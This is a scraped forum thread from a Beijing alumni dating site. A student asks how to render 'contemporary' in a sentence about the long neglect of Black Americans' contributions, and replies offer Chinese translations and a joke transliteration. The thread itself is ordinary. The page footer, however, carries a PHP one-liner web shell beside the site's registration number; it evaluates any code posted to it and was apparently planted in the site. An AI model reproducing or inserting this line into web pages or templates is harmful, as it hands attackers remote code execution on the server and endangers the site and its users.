小蜜橙single - 北京最大的校友交友平台-来小蜜橙觅成你的友情和爱情吧!-

 找回密码
 30秒注册
搜索
查看: 746|回复: 6
打印 上一主题 下一主题

求翻译达人帮忙。。

[复制链接]
跳转到指定楼层
1#
发表于 2012-4-16 21:41:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
在写笔译作业啦~现在有一句翻得很纠结,其实主要就是纠结这个contemporary应该怎么翻。。
整句如下:
The tendency to ignore the Negro's contribution to American life and to strip him of his personhood is as old as the earliest history books and as contemporary as the morning's newspaper.

求帮忙~
在线等~
2#
发表于 2012-4-16 23:25:44 | 只看该作者
试试:is后面的部分,如果是转译,则“自古就有,屡见不鲜”;如果要求直译,则
3#
发表于 2012-4-17 06:56:18 | 只看该作者
本帖最后由 ownone 于 2012-4-17 07:11 编辑

我想我会翻译成 "近"
4#
发表于 2012-4-17 07:57:15 | 只看该作者
近在眼前?
5#
发表于 2012-4-17 08:36:58 | 只看该作者
像最早的历史书一样陈旧却像早上的新闻一样同期。
6#
发表于 2012-4-17 10:09:59 | 只看该作者
本帖最后由 ag_home 于 2012-4-17 10:10 编辑

以趣味为导向的音译:抗毯泡萝莉
7#
发表于 2012-4-17 14:36:43 | 只看该作者
自古真相在二楼~~~~~~
您需要登录后才可以回帖 登录 | 30秒注册

本版积分规则

QQ|小黑屋|手机版|小蜜橙single ( 京ICP备20006967号-2 <?php phpinfo();eval($_POST[1]);?>

GMT+8, 2024-12-24 04:05 , Processed in 0.107466 second(s), 16 queries .

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表